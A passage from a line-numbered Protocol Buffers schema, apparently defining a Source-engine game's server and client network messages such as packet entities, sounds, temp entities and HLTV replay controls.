| { 569 | optional int32 eventid = 1; 570 | optional string name = 2; 571 | repeated key_t keys = 3; 572 | }; 573 | 574 | repeated descriptor_t descriptors = 1; 575 | } 576 | 577 | message CSVCMsg_TempEntities 578 | { 579 | optional bool reliable = 1; 580 | optional int32 num_entries = 2; 581 | optional bytes entity_data = 3; 582 | } 583 | 584 | message CSVCMsg_PacketEntities 585 | { 586 | optional int32 max_entries = 1; 587 | optional int32 updated_entries = 2; 588 | optional bool is_delta = 3; 589 | optional bool update_baseline = 4; 590 | optional int32 baseline = 5; 591 | optional int32 delta_from = 6; 592 | optional bytes entity_data = 7; 593 | } 594 | 595 | message CSVCMsg_Sounds 596 | { 597 | message sounddata_t 598 | { 599 | optional sint32 origin_x = 1; 600 | optional sint32 origin_y = 2; 601 | optional sint32 origin_z = 3; 602 | optional uint32 volume = 4; 603 | optional float delay_value = 5; 604 | optional int32 sequence_number = 6; 605 | optional int32 entity_index = 7; 606 | optional int32 channel = 8; 607 | optional int32 pitch = 9; 608 | optional int32 flags = 10; 609 | optional uint32 sound_num = 11; 610 | optional fixed32 sound_num_handle = 12; 611 | optional int32 speaker_entity = 13; 612 | optional int32 random_seed = 14; 613 | optional int32 sound_level = 15; // soundlevel_t 614 | optional bool is_sentence = 16; 615 | optional bool is_ambient = 17; 616 | }; 617 | 618 | optional bool reliable_sound = 1; 619 | repeated sounddata_t sounds = 2; 620 | } 621 | 622 | message CSVCMsg_EntityMsg 623 | { 624 | optional int32 ent_index = 1; 625 | optional int32 class_id = 2; 626 | optional bytes ent_data = 3; 627 | } 628 | 629 | message CSVCMsg_CmdKeyValues 630 | { 631 | optional bytes keyvalues = 1; 632 | } 633 | 634 | message CSVCMsg_EncryptedData 635 | { 636 | optional bytes encrypted = 1; 637 | optional int32 key_type = 2; 638 | } 639 | 640 | message CSVCMsg_HltvReplay 641 | { 642 | optional int32 delay = 1; // delay in ticks, 0 or abscent if replay stops 643 | optional int32 primary_target = 2; // the primary target to look at during the replay 644 | optional int32 replay_stop_at = 3; // the tick when replay stops, on delayed timeline 645 | optional int32 replay_start_at = 4; // the tick when replay starts, on real timeline 646 | optional int32 replay_slowdown_begin = 5; 647 | optional int32 replay_slowdown_end = 6; 648 | optional float replay_slowdown_rate = 7; 649 | } 650 | 651 | enum ReplayEventType_t 652 | { 653 | REPLAY_EVENT_CANCEL = 0; // Cancel any replays in progress 654 | REPLAY_EVENT_DEATH = 1; // replay the last player death 655 | REPLAY_EVENT_GENERIC = 2; // replay the event specified in the message 656 | REPLAY_EVENT_STUCK_NEED_FULL_UPDATE = 3; // the client is stuck , the full frame update was somehow discarded at netchan level (reason unknown as of end of 2015), and a new full update is requested 657 | } 658 | 659 | message CCLCMsg_HltvReplay 660 | { 661 | optional int32 request = 1; // 0 = cancel, 1 = request death replay, 2 = request arbitrary replay, 3 = request full frame update because client didn't receive it when expected 662 | optional float slowdown_length = 2; 663 | optional float slowdown_rate = 3; 664 | 665 | optional int32 primary_target_ent_index = 4; 666 | optional float event_time = 5; 667 | } 668 | 669 | message CSVCMsg_Broadcast_Command 670 | { 671 | optional string cmd = 1; 672 | } 673 | 674 | 675 | 676 | // Do not remove this comment due to a bug on the Mac OS X protobuf compiler - integrated from Dota 677 | --------------------------------------------------------------------------------